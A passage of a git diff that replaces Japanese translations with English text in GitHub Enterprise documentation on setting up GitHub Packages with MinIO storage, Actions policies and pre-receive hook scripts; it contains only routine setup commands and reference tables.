reusables.enterprise_management_console.save-settings %} -## 次のステップ +## Next steps {% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/translations/ja-JP/content/admin/packages/enabling-github-packages-with-minio.md b/translations/ja-JP/content/admin/packages/enabling-github-packages-with-minio.md index 3b1c5b399c..de67c4ae7c 100644 --- a/translations/ja-JP/content/admin/packages/enabling-github-packages-with-minio.md +++ b/translations/ja-JP/content/admin/packages/enabling-github-packages-with-minio.md @@ -1,6 +1,6 @@ --- -title: MinIO で GitHub Packages を有効にする -intro: 'MinIO を外部ストレージとして {% data variables.product.prodname_registry %} を設定します。' +title: Enabling GitHub Packages with MinIO +intro: 'Set up {% data variables.product.prodname_registry %} with MinIO as your external storage.' versions: ghes: '*' type: tutorial @@ -13,18 +13,18 @@ shortTitle: Enable Packages with MinIO {% warning %} -**警告:** -- {% data variables.product.company_short %} は特定のオブジェクトのアクセス許可または追加のアクセス制御リスト (ACL) をストレージバケット設定に適用しないため、ストレージバケットに必要な制限付きアクセスポリシーを設定することが重要です。 たとえば、バケットを公開すると、バケット内のデータにパブリックなインターネットからアクセスできるようになります。 -- {% data variables.product.prodname_actions %} ストレージに使用するバケットとは別に、{% data variables.product.prodname_registry %} 専用のバケットを使用することをお勧めします。 -- 今後使用予定のバケットを忘れずに設定するようにしてください。 {% data variables.product.prodname_registry %} の使用開始後にストレージを変更することはお勧めしません。 +**Warnings:** +- It is critical that you set the restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible on the public internet. +- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. +- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. {% endwarning %} -## 必要な環境 +## Prerequisites -{% data variables.product.product_location_enterprise %} で {% data variables.product.prodname_registry %} を有効にして設定する前に、MinIO ストレージバケットを準備する必要があります。 MinIO バケットをすばやく設定し、MinIO のカスタマイズオプションをナビゲートするには、「[{% data variables.product.prodname_registry %} の MinIO ストレージバケットを設定するためのクイックスタート](/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages)」を参照してください。 +Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.product.product_location_enterprise %}, you need to prepare your MinIO storage bucket. To help you quickly set up a MinIO bucket and navigate MinIO's customization options, see the "[Quickstart for configuring your MinIO storage bucket for {% data variables.product.prodname_registry %}](/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages)." -MinIO 外部ストレージアクセスキー ID とシークレットに次の権限があることを確認します。 +Ensure your MinIO external storage access key ID and secret have these permissions: - `s3:PutObject` - `s3:GetObject` - `s3:ListBucketMultipartUploads` @@ -33,9 +33,9 @@ MinIO 外部ストレージアクセスキー ID とシークレットに次の - `s3:DeleteObject` - `s3:ListBucket` -## MinIO 外部ストレージで {% data variables.product.prodname_registry %} を有効にする +## Enabling {% data variables.product.prodname_registry %} with MinIO external storage -Although MinIO does not currently appear in the user interface under "Package Storage", MinIO is still supported by {% data variables.product.prodname_registry %} on {% data variables.product.prodname_enterprise %}. また、MinIO のオブジェクトストレージは S3 API と互換性があり、AWSS3 の詳細の代わりに MinIO のバケットの詳細を入力できることに注意してください。 +Although MinIO does not currently appear in the user interface under "Package Storage", MinIO is still supported by {% data variables.product.prodname_registry %} on {% data variables.product.prodname_enterprise %}. Also, note that MinIO's object storage is compatible with the S3 API and you can enter MinIO's bucket details in place of AWS S3 details. {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} @@ -43,16 +43,16 @@ Although MinIO does not currently appear in the user interface under "Package St {% data reusables.package_registry.enable-enterprise-github-packages %} {% ifversion ghes %} -1. [Packages Storage] の下で、[**Amazon S3**] を選択します。 -1. AWS ストレージ設定に MinIO ストレージバケットの詳細を入力します。 - - **AWS Service URL: **MinIO バケットのホスティング URL。 - - **AWS S3 Bucket:** {% data variables.product.prodname_registry %} 専用の S3 対応 MinIO バケットの名前。 - - **AWS S3 Access Key** および **AWS S3 Secret Key**: バケットにアクセスするための MinIO アクセスキー ID と シークレットキーを入力。 +1. Under "Packages Storage", select **Amazon S3**. +1. Enter your MinIO storage bucket's details in the AWS storage settings. + - **AWS Service URL:** The hosting URL for your MinIO bucket. + - **AWS S3 Bucket:** The name of your S3-compatible MinIO bucket dedicated to {% data variables.product.prodname_registry %}. + - **AWS S3 Access Key** and **AWS S3 Secret Key**: Enter the MinIO access key ID and secret key to access your bucket. - ![S3 AWS バケットの詳細入力ボックス](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) + ![Entry boxes for your S3 AWS bucket's details](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) {% endif %} {% data reusables.enterprise_management_console.save-settings %} -## 次のステップ +## Next steps {% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/translations/ja-JP/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md b/translations/ja-JP/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md index 75e28e61f6..6ed8568fa1 100644 --- a/translations/ja-JP/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md +++ b/translations/ja-JP/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: Enterprise 向けの GitHub Packages を使い始める +title: Getting started with GitHub Packages for your enterprise shortTitle: Getting started with GitHub Packages -intro: 'この機能の有効化、サードパーティのストレージの設定、サポートするエコシステムの設定、TLS 証明書の更新を行い、{% data variables.product.product_location %} で {% data variables.product.prodname_registry %} を使用開始します。' +intro: 'You can start using {% data variables.product.prodname_registry %} on {% data variables.product.product_location %} by enabling the feature, configuring third-party storage, configuring the ecosystems you want to support, and updating your TLS certificate.' redirect_from: - /enterprise/admin/packages/enabling-github-packages-for-your-enterprise - /admin/packages/enabling-github-packages-for-your-enterprise @@ -16,28 +16,28 @@ topics: {% data reusables.package_registry.packages-cluster-support %} -## ステップ 1: {% data variables.product.prodname_registry %} を有効化して外部ストレージを設定する +## Step 1: Enable {% data variables.product.prodname_registry %} and configure external storage -{% data variables.product.prodname_ghe_server %} 上の {% data variables.product.prodname_registry %} は、外部の blob ストレージを使用してパッケージを保存します。 +{% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages. -{% data variables.product.product_location %} に対して {% data variables.product.prodname_registry %} を有効にした後、サードパーティのストレージバケットを準備する必要があります。 必要なストレージ容量は、{% data variables.product.prodname_registry %} の使用状況によって異なり、セットアップガイドラインはストレージプロバイダによって異なる場合があります。 +After enabling {% data variables.product.prodname_registry %} for {% data variables.product.product_location %}, you'll need to prepare your third-party storage bucket. The amount of storage required depends on your usage of {% data variables.product.prodname_registry %}, and the setup guidelines can vary by storage provider. -サポートされている外部ストレージプロバイダ +Supported external storage providers - Amazon Web Services (AWS) S3 {% ifversion ghes %} - Azure Blob Storage {% endif %} - MinIO -{% data variables.product.prodname_registry %} を有効にしてサードパーティのストレージを設定するには、以下を参照してください。 - - 「[AWS で GitHub Packages を有効にする](/admin/packages/enabling-github-packages-with-aws)」{% ifversion ghes %} - - 「[Azure Blob Storage で GitHub Packages を有効化する](/admin/packages/enabling-github-packages-with-azure-blob-storage)」{% endif %} - - 「[MinIO で GitHub Packages を有効にする](/admin/packages/enabling-github-packages-with-minio)」 +To enable {% data variables.product.prodname_registry %} and configure third-party storage, see: + - "[Enabling GitHub Packages with AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %} + - "[Enabling GitHub Packages with Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %} + - "[Enabling GitHub Packages with MinIO](/admin/packages/enabling-github-packages-with-minio)" -## ステップ 2: インスタンスでサポートするパッケージエコシステムを指定する +## Step 2: Specify the package ecosystems to support on your instance -{% data variables.product.product_location %} で有効、無効、または読み取り専用に設定するパッケージエコシステムを選択します。 使用可能なオプションは、Docker、RubyGems、npm、Apache Maven、Gradle、または NuGet です。 詳しい情報については、「[Enterprise 向けのパッケージエコシステムサポートを設定する](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)」を参照してください。 +Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.product.product_location %}. Available options are Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet. For more information, see "[Configuring package ecosystem support for your enterprise](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)." -## ステップ 3: パッケージホスト URL に TLS 証明書があることを確認する (必要に応じて) +## Step 3: Ensure you have a TLS certificate for your package host URL, if needed -If subdomain isolation is enabled for {% data variables.product.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `npm.HOSTNAME`. 各パッケージのホスト URL に `https://` が含まれていることを確認します。 +If subdomain isolation is enabled for {% data variables.product.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `npm.HOSTNAME`. Make sure each package host URL includes `https://`. - 証明書は手動で作成することも、_Let's Encrypt_ を使用することもできます。 _Let's Encrypt_ を既に使用している場合は、{% data variables.product.prodname_registry %} を有効にした後で新しい TLS 証明書をリクエストする必要があります。 パッケージホスト URL の詳しい情報については、「[Subdomain Isolation を有効化する](/enterprise/admin/configuration/enabling-subdomain-isolation)」を参照してください。 {% data variables.product.product_name %} への TLS 証明書のアップロード方法について詳しくは、「[TLS を設定する](/enterprise/admin/configuration/configuring-tls)」を参照してください。 + You can create the certificate manually, or you can use _Let's Encrypt_. If you already use _Let's Encrypt_, you must request a new TLS certificate after enabling {% data variables.product.prodname_registry %}. For more information about package host URLs, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." For more information about uploading TLS certificates to {% data variables.product.product_name %}, see "[Configuring TLS](/enterprise/admin/configuration/configuring-tls)." diff --git a/translations/ja-JP/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md b/translations/ja-JP/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md index bd695b6af4..5771f81c62 100644 --- a/translations/ja-JP/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md +++ b/translations/ja-JP/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md @@ -1,6 +1,6 @@ --- -title: GitHub Packages の MinIO ストレージバケットを設定するためのクイックスタート -intro: '{% data variables.product.prodname_registry %} で使用するためにカスタム MinIO ストレージバケットを設定します。' +title: Quickstart for configuring your MinIO storage bucket for GitHub Packages +intro: 'Configure your custom MinIO storage bucket for use with {% data variables.product.prodname_registry %}.' versions: ghes: '*' type: quick_start @@ -13,45 +13,45 @@ shortTitle: Quickstart for MinIO {% data reusables.package_registry.packages-ghes-release-stage %} -{% data variables.product.product_location_enterprise %} で {% data variables.product.prodname_registry %} を有効にして設定する前に、サードパーティのストレージソリューションを準備する必要があります。 +Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.product.product_location_enterprise %}, you need to prepare your third-party storage solution. -MinIO は、Enterprise で S3 API と {% data variables.product.prodname_registry %} をサポートするオブジェクトストレージを提供します。 +MinIO offers object storage with support for the S3 API and {% data variables.product.prodname_registry %} on your enterprise. -このクイックスタートでは、Docker を使用して {% data variables.product.prodname_registry %} で使用するように MinIO をセットアップする方法を説明していますが、Docker 以外に MinIO を管理するオプションがあります。 MinIO の詳細については、公式の [MinIO](https://docs.min.io/) ドキュメントを参照してください。 +This quickstart shows you how to set up MinIO using Docker for use with {% data variables.product.prodname_registry %} but you have other options for managing MinIO besides Docker. For more information about MinIO, see the official [MinIO docs](https://docs.min.io/). -## 1. ニーズに合わせて MinIO モードを選択する +## 1. Choose a MinIO mode for your needs -| MinIO モード | 最適化対象 | 必要なストレージインフラストラクチャ | -| ----------------------- | ------------------- | ------------------- | -| スタンドアロン MinIO (シングルホスト) | 高速セットアップ | なし | -| NAS ゲートウェイとしての MinIO | NAS (ネットワーク接続ストレージ) | NAS デバイス | -| クラスタ型 MinIO (分散型 MinIO) | データセキュリティ | クラスタ内で実行中のストレージサーバー | +| MinIO mode | Optimized for | Storage infrastructure required | +|----|----|----| +| Standalone MinIO (on a single host) | Fast setup | N/A | +| MinIO as a NAS gateway | NAS (Network-attached storage)| NAS devices | +| Clustered MinIO (also called Distributed MinIO)| Data security | Storage servers running in a cluster | -オプションの詳細については、公式の [MinIO](https://docs.min.io/) ドキュメントを参照してください。 +For more information about your options, see the official [MinIO docs](https://docs.min.io/). -## 2. MinIO をインストール、実行、サインインする +## 2. Install, run, and sign in to MinIO -1. MinIO のお好みの環境変数を設定します。 +1. Set up your preferred environment variables for MinIO. - これらの例では、`MINIO_DIR` を使用しています。 + These examples use `MINIO_DIR`: ```shell $ export MINIO_DIR=$(pwd)/minio $ mkdir -p $MINIO_DIR ``` -2. MinIO をインストールします。 +2. Install MinIO. ```shell $ docker pull minio/minio ``` - 詳しい情報については、公式の [MinIO クイックスタートガイド](https://docs.min.io/docs/minio-quickstart-guide)を参照してください。 + For more information, see the official "[MinIO Quickstart Guide](https://docs.min.io/docs/minio-quickstart-guide)." -3. MinIO アクセスキーとシークレットを使用して MinIO にサインインします。 +3. Sign in to MinIO using your MinIO access key and secret. {% linux %} ```shell $ export MINIO_ACCESS_KEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) - # これは実際にはシークレットのため注意してください + # this one is actually a secret, so careful $ export MINIO_SECRET_KEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) ``` {% endlinux %} @@ -59,21 +59,21 @@ MinIO は、Enterprise で S3 API と {% data variables.product.prodname_registr {% mac %} ```shell $ export MINIO_ACCESS_KEY=$(cat /dev/urandom | LC_CTYPE=C tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) - # これは実際にはシークレットのため注意してください + # this one is actually a secret, so careful $ export MINIO_SECRET_KEY=$(cat /dev/urandom | LC_CTYPE=C tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) ``` {% endmac %} - 環境変数を使用して MinIO キーにアクセスできます。 + You can access your MinIO keys using the environment variables: ```shell $ echo $MINIO_ACCESS_KEY $ echo $MINIO_SECRET_KEY ``` -4. 選択したモードで MinIO を実行します。 +4. Run MinIO in your chosen mode. - * 単一のホストで Docker を使用して MinIO を実行します。 + * Run MinIO using Docker on a single host: ```shell $ docker run -p 9000:9000 \ @@ -83,11 +83,11 @@ MinIO は、Enterprise で S3 API と {% data variables.product.prodname_registr minio/minio server /data ``` - 詳しい情報については、[MinIO Docker クイックスタートガイド](https://docs.min.io/docs/minio-docker-quickstart-guide.html)を参照してください。 + For more information, see "[MinIO Docker Quickstart guide](https://docs.min.io/docs/minio-docker-quickstart-guide.html)." - * Docker を NAS ゲートウェイとして使用して MinIO を実行します。 + * Run MinIO using Docker as a NAS gateway: - この設定は、{% data variables.product.prodname_registry %} のバックアップストレージとして使用する NAS がすでに存在するデプロイメントに役立ちます。 + This setup is useful for deployments where there is already a NAS you want to use as the backup storage for {% data variables.product.prodname_registry %}. ```shell $ docker run -p 9000:9000 \ @@ -97,42 +97,42 @@ MinIO は、Enterprise で S3 API と {% data variables.product.prodname_registr minio/minio gateway nas /data ``` - 詳しい情報については、[NAS 用の MinIO ゲートウェイ](https://docs.min.io/docs/minio-gateway-for-nas.html)を参照してください。 + For more information, see "[MinIO Gateway for NAS](https://docs.min.io/docs/minio-gateway-for-nas.html)." - * Docker をクラスタとして使用して MinIO を実行します。 この MinIO デプロイメントでは、複数のホストと MinIO のイレイジャーコーディングを使用して、最強のデータ保護を実現します。 MinIO をクラスタモードで実行するには、「[分散型 MinIO クイックスタートガイド](https://docs.min.io/docs/distributed-minio-quickstart-guide.html)」を参照してください。 + * Run MinIO using Docker as a cluster. This MinIO deployment uses several hosts and MinIO's erasure coding for the strongest data protection. To run MinIO in a cluster mode, see the "[Distributed MinIO Quickstart Guide](https://docs.min.io/docs/distributed-minio-quickstart-guide.html). -## 3. {% data variables.product.prodname_registry %} の MinIO バケットを作成する +## 3. Create your MinIO bucket for {% data variables.product.prodname_registry %} -1. MinIO クライアントをインストールします。 +1. Install the MinIO client. ```shell $ docker pull minio/mc ``` -2. {% data variables.product.prodname_ghe_server %} がアクセスできるホスト URL を使用してバケットを作成します。 +2. Create a bucket with a host URL that {% data variables.product.prodname_ghe_server %} can access. - * ローカルデプロイメントの例: + * Local deployments example: ```shell $ export MC_HOST_minio="http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY} @localhost:9000" $ docker run minio/mc BUCKET-NAME ``` - この例は、MinIO スタンドアロンまたは NAS ゲートウェイとしての MinIO に使用できます。 + This example can be used for MinIO standalone or MinIO as a NAS gateway. - * クラスタ型デプロイメントの例: + * Clustered deployments example: ```shell $ export MC_HOST_minio="http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY} @minioclustername.example.com:9000" $ docker run minio/mc mb packages ``` -## 次のステップ +## Next steps -{% data variables.product.prodname_registry %} のストレージの設定を完了するには、MinIO ストレージ URL をコピーする必要があります。 +To finish configuring storage for {% data variables.product.prodname_registry %}, you'll need to copy the MinIO storage URL: ``` echo "http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY}@minioclustername.example.com:9000" ``` -次のステップについては、「[MinIO で{% data variables.product.prodname_registry %} を有効にする](/admin/packages/enabling-github-packages-with-minio)」を参照してください。 +For the next steps, see "[Enabling {% data variables.product.prodname_registry %} with MinIO](/admin/packages/enabling-github-packages-with-minio)." diff --git a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md index 1b80b77413..99179a580a 100644 --- a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md +++ b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md @@ -36,13 +36,13 @@ shortTitle: GitHub Actions policies ## Enforcing a policy to restrict the use of actions in your enterprise -Enterprise 内のすべての Organization に対して {% data variables.product.prodname_actions %} を無効化するか、特定の Organization のみを許可するかを選択できます。 Enterprise にあるローカルのアクションだけ利用できるように、パブリックなアクションの利用を制限することもできます。 +You can choose to disable {% data variables.product.prodname_actions %} for all organizations in your enterprise, or only allow specific organizations. You can also limit the use of public actions, so that people can only use local actions that exist in your enterprise. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.actions.enterprise-actions-permissions %} -1. [**Save**] をクリックします。 +1. Click **Save**. {% ifversion ghec or ghes or ghae %} @@ -53,11 +53,11 @@ Enterprise 内のすべての Organization に対して {% data variables.produc {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} -1. [**Policies**] で [**Allow select actions**] を選択し、必要なアクションをリストに追加します。 - {%- ifversion ghes or ghae-issue-5094 %} - ![許可リストにアクションを追加する](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png) +1. Under **Policies**, select **Allow select actions** and add your required actions to the list. + {%- ifversion ghes > 3.0 or ghae-issue-5094 %} + ![Add actions to allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png) {%- elsif ghae %} - ![許可リストにアクションを追加する](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png) + ![Add actions to allow list](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png) {%- endif %} {% endif %} @@ -69,8 +69,7 @@ Enterprise 内のすべての Organization に対して {% data variables.produc {% data reusables.actions.about-artifact-log-retention %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.business %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.github-actions.change-retention-period-for-artifacts-logs %} @@ -122,7 +121,8 @@ You can set the default permissions for the `GITHUB_TOKEN` in the settings for y {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} -1. [**Workflow permissions**]の下で、`GITHUB_TOKEN`にすべてのスコープに対する読み書きアクセスを持たせたいか、あるいは`contents`スコープに対する読み取りアクセスだけを持たせたいかを選択してください。 ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise.png) -1. **Save（保存）**をクリックして、設定を適用してください。 +1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise.png) +1. Click **Save** to apply the settings. {% endif %} diff --git a/translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md b/translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md index 856c3a2087..9b74d60545 100644 --- a/translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md +++ b/translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md @@ -1,6 +1,6 @@ --- -title: pre-receiveフックスクリプトの作成 -intro: pre-receiveフックスクリプトを使って、プッシュを内容に基づいて受け付けあるいは拒否するための要件を作成します。 +title: Creating a pre-receive hook script +intro: Use pre-receive hook scripts to create requirements for accepting or rejecting a push based on the contents. miniTocMaxHeadingLevel: 3 redirect_from: - /enterprise/admin/developer-workflow/creating-a-pre-receive-hook-script @@ -15,10 +15,9 @@ topics: - Pre-receive hooks shortTitle: Pre-receive hook scripts --- +You can see examples of pre-receive hooks for {% data variables.product.prodname_ghe_server %} in the [`github/platform-samples` repository](https://github.com/github/platform-samples/tree/master/pre-receive-hooks). -{% data variables.product.prodname_ghe_server %} の pre-receive フックの例は、[`github/platform-samples`リポジトリ](https://github.com/github/platform-samples/tree/master/pre-receive-hooks)で見ることができます。 - -## pre-receiveフックスクリプトの作成 +## Writing a pre-receive hook script A pre-receive hook script executes in a pre-receive hook environment on {% data variables.product.product_location %}. When you create a pre-receive hook script, consider the available input, output, exit status, and environment variables. ### Input (`stdin`) @@ -30,11 +29,11 @@ After a push occurs and before any refs are updated for the remote repository, t This string represents the following arguments. -| 引数 | 説明 | -|:------------------- |:------------------------------------------------------------------------------------------------- | -| `` | Old object name stored in the ref.
                    When you create a new ref, the value is 40 zeroes. | +| Argument | Description | +| :------------- | :------------- | +| `` | Old object name stored in the ref.
                    When you create a new ref, the value is 40 zeroes. | | `` | New object name to be stored in the ref.
                    When you delete a ref, the value is 40 zeroes. | -| `` | The full name of the ref. | +| `` | The full name of the ref. | For more information about `git-receive-pack`, see "[git-receive-pack](https://git-scm.com/docs/git-receive-pack)" in the Git documentation. For more information about refs, see "[Git References](https://git-scm.com/book/en/v2/Git-Internals-Git-References)" in *Pro Git*. @@ -42,16 +41,16 @@ For more information about `git-receive-pack`, see "[git-receive-pack](https://g The standard output for the script, `stdout`, is passed back to the client. Any `echo` statements will be visible to the user on the command line or in the user interface. -### 終了ステータス +### Exit status The exit status of a pre-receive script determines if the push will be accepted. -| Exit-status value | アクション | -|:----------------- |:-------------- | -| 0 | プッシュは受け付けられます。 | -| 0以外 | プッシュは拒否されます。 | +| Exit-status value | Action | +| :- | :- | +| 0 | The push will be accepted. | +| non-zero | The push will be rejected. | -### 環境変数 +### Environment variables In addition to the standard input for your pre-receive hook script, `stdin`, {% data variables.product.prodname_ghe_server %} makes the following variables available in the Bash environment for your script's execution. For more information about `stdin` for your pre-receive hook script, see "[Input (`stdin`)](#input-stdin)." @@ -66,71 +65,71 @@ Different environment variables are available to your pre-receive hook script de The following variables are always available in the pre-receive hook environment. -| 変数 | 説明 | 値の例 | -|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |:------------------------------------------------------------------ | -| 
                    $GIT_DIR
                    | Path to the remote repository on the instance | /data/user/repositories/a/ab/
                    a1/b2/34/100001234/1234.git | -| 
                    $GIT_PUSH_OPTION_COUNT
                    | The number of push options that were sent by the client with `--push-option`. For more information, see "[git-push](https://git-scm.com/docs/git-push#Documentation/git-push.txt---push-optionltoptiongt)" in the Git documentation. | 1 | -| 
                    $GIT\_PUSH\_OPTION\_N
                    | ここで _N_ は 0 から始まる整数で、この変数にはクライアントから送信されたプッシュオプションの文字列が含まれます。 The first option that was sent is stored in `GIT_PUSH_OPTION_0`, the second option that was sent is stored in `GIT_PUSH_OPTION_1`, and so on. プッシュオプションに関する詳しい情報については、Gitのドキュメンテーションの[git-push](https://git-scm.com/docs/git-push#git-push---push-optionltoptiongt)を参照してください。 | abcd |{% ifversion ghes %} -| 
                    $GIT_USER_AGENT
                    | User-agent string sent by the Git client that pushed the changes | git/2.0.0{% endif %} -| 
                    $GITHUB_REPO_NAME
                    | Name of the repository being updated in _NAME_/_OWNER_ format | octo-org/hello-enterprise | -| 
                    $GITHUB_REPO_PUBLIC
                    | Boolean representing whether the repository being updated is public |
                    • true: Repository's visibility is public
                    • false: Repository's visibility is private or internal
                    | -| 
                    $GITHUB_USER_IP
                    | IP address of client that initiated the push | 192.0.2.1 | -| 
                    $GITHUB_USER_LOGIN
                    | Username for account that initiated the push | octocat | +| Variable | Description | Example value | +| :- | :- | :- | +| 
                    $GIT_DIR
                    | Path to the remote repository on the instance | /data/user/repositories/a/ab/
                    a1/b2/34/100001234/1234.git | +| 
                    $GIT_PUSH_OPTION_COUNT
                    | The number of push options that were sent by the client with `--push-option`. For more information, see "[git-push](https://git-scm.com/docs/git-push#Documentation/git-push.txt---push-optionltoptiongt)" in the Git documentation. | 1 | +| 
                    $GIT\_PUSH\_OPTION\_N
                    | Where _N_ is an integer starting at 0, this variable contains the push option string that was sent by the client. The first option that was sent is stored in `GIT_PUSH_OPTION_0`, the second option that was sent is stored in `GIT_PUSH_OPTION_1`, and so on. For more information about push options, see "[git-push](https://git-scm.com/docs/git-push#git-push---push-optionltoptiongt)" in the Git documentation. | abcd |{% ifversion ghes %} +| 
                    $GIT_USER_AGENT
                    | User-agent string sent by the Git client that pushed the changes | git/2.0.0{% endif %} +| 
                    $GITHUB_REPO_NAME
                    | Name of the repository being updated in _NAME_/_OWNER_ format | octo-org/hello-enterprise | +| 
                    $GITHUB_REPO_PUBLIC
                    | Boolean representing whether the repository being updated is public |
                    • true: Repository's visibility is public
                    • false: Repository's visibility is private or internal
                    +| 
                    $GITHUB_USER_IP
                    | IP address of client that initiated the push | 192.0.2.1 | +| 
                    $GITHUB_USER_LOGIN
                    | Username for account that initiated the push | octocat | #### Available for pushes from the web interface or API The `$GITHUB_VIA` variable is available in the pre-receive hook environment when the ref update that triggers the hook occurs via either the web interface or the API for {% data variables.product.prodname_ghe_server %}. The value describes the action that updated the ref. -| 値 | アクション | 詳細情報 | -|:-------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 
                    auto-merge deployment api
                    | Automatic merge of the base branch via a deployment created with the API | "[Repositories](/rest/reference/repos#create-a-deployment)" in the REST API documentation | -| 
                    blob#save
                    | Change to a file's contents in the web interface | "[Editing files](/repositories/working-with-files/managing-files/editing-files)" | -| 
                    branch merge api
                    | Merge of a branch via the API | "[Repositories](/rest/reference/repos#merge-a-branch)" in the REST API documentation | -| 
                    branches page delete button
                    | Deletion of a branch in the web interface | 「[リポジトリ内でのブランチの作成と削除](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)」 | -| 
                    git refs create api
                    | Creation of a ref via the API | "[Git database](/rest/reference/git#create-a-reference)" in the REST API documentation | -| 
                    git refs delete api
                    | Deletion of a ref via the API | "[Git database](/rest/reference/git#delete-a-reference)" in the REST API documentation | -| 
                    git refs update api
                    | Update of a ref via the API | "[Git database](/rest/reference/git#update-a-reference)" in the REST API documentation | -| 
                    git repo contents api
                    | Change to a file's contents via the API | "[Repositories](/rest/reference/repos#create-or-update-file-contents)" in the REST API documentation | -| 
                    merge base into head
                    | Update of the topic branch from the base branch when the base branch requires strict status checks (via **Update branch** in a pull request, for example) | [保護されたブランチについて](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging) | -| 
                    pull request branch delete button
                    | Deletion of a topic branch from a pull request in the web interface | "[プルリクエスト中のブランチの削除と復元](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#deleting-a-branch-used-for-a-pull-request)" | -| 
                    pull request branch undo button
                    | Restoration of a topic branch from a pull request in the web interface | "[プルリクエスト中のブランチの削除と復元](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#restoring-a-deleted-branch)" | -| 
                    pull request merge api
                    | Merge of a pull request via the API | "[Pulls](/rest/reference/pulls#merge-a-pull-request)" in the REST API documentation | -| 
                    pull request merge button
                    | Merge of a pull request in the web interface | [プルリクエストのマージ](/github/collaborating-with-issues-and-pull-requests/merging-a-pull-request#merging-a-pull-request-on-github) | -| 
                    pull request revert button
                    | Revert of a pull request | [Pull Request を元に戻す](/github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request) | -| 
                    releases delete button
